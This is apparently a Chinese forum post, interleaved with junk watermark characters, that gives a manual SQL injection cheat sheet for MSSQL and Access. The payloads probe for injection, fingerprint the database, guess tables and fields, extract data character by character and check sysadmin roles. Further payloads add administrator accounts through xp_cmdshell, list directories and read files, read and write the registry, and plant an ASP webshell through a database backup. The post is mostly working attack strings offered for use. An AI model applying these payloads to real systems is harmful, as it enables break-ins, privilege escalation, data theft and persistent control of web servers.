手工脚本注入

admin

手工脚本注入
3 L: D! Z4 h4 v' ]* ?1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0
0 F6 r1 s# v* h, @
3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='

5.判断数据库系统
  }  S! o' q2 [% c;and (select count(*) from sysobjects)>0 mssql
8 B5 c4 N  J8 F2 ]* E;and (select count(*) from msysobjects)>0 access

: x4 Q5 ?- b- \& d! k6.猜数据库 ;and (select Count(*) from [数据库名])>0

  e$ N3 q/ Y! G& h7.猜字段 ;and (select Count(字段名) from 数据库名)>0

/ C! l5 v3 V1 Y. }8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
# R7 z, ^' M( |, j" ?7 C
% w- F5 o* `3 j$ j2 q9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
& O2 ?, ^9 K5 Q  O
10.测试权限结构（mssql）
* A0 x, _  j( V) C;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
# Q& ?) E3 H0 Q! J;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
) D6 D8 E0 [2 K; h2 p  H  j;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
) P1 N! @  B( R3 V* M* @;and 1=(select IS_MEMBER('db_owner'));--

, N5 q, `2 c4 N1 C11.添加mssql和系统的帐户
* E( q7 U' X. P2 A" M7 m0 I. I;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin username;--
  K2 }  h% b( ~1 e
;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

1 U/ v- m" h4 U3 }8 |& K+ X;exec master.dbo.xp_cmdshell 'net user username password /add';--
  H/ a: T% g. M/ ^+ s+ U4 S8 R
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
: q8 ^; e  ]7 `1 v$ g
1 S* P: J* }1 M; j: ^5 h5 T12.(1)遍历目录

9 J" _9 c$ U- I3 q& V% W- h# o& j;create table dirs(paths varchar(100), id int)
4 G$ L7 g( Y9 ?7 |# [+ a( Y+ v, s;insert dirs exec master.dbo.xp_dirtree 'c:\'
& g; p* C* i, R# o4 L;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
) I; m6 ~2 X4 c, }4 l;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
: K6 [  x3 l9 T;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
4 ^1 p/ Q. X8 K0 B0 p8 \  l;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

  Y4 [# W. g' Q8 C9 l0 W: {1 @; W- N, x13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

1 `! [3 B: B7 E3 d! Xxp_regread 根键,子键,键值名
8 |$ s% d( K% O( ^& y;exec xp_regread
0 n, ?9 f/ M' }'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
6 u$ j) w& T. @9 @- V0 M/ p/ a1 e
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

1 K, _$ ^+ U1 K! d& {( B, t1 T& pxp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

, V8 s9 S/ X( o6 H14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
7 ^# F5 `% U7 E2 d+ x7 A- qbackup database model to disk='c:\l.asp';
. j. `0 G, T" u- ]
15.mssql内置函数
; Z' y8 X  F# B4 p( x. [;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
' p0 ]5 f1 e- m& ~;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

2 u' Y+ f2 e6 }' H0 w16.简洁的webshell

9 c, M6 p' f+ q: o. g' cuse model

: ^: N1 [3 U' F; R1 t  v# [7 X6 ~create table cmd(str image);
9 b6 X' X% j8 f& f& z
) L; S& e& \/ o& Dinsert into cmd(str) values ('');

backup database model to disk='g:\wwwtest\l.asp';

8 j0 ~8 K. E4 [2 ?* d- h6 c- @2 v

老男孩

现在很多防注入啊，有其他注入字符码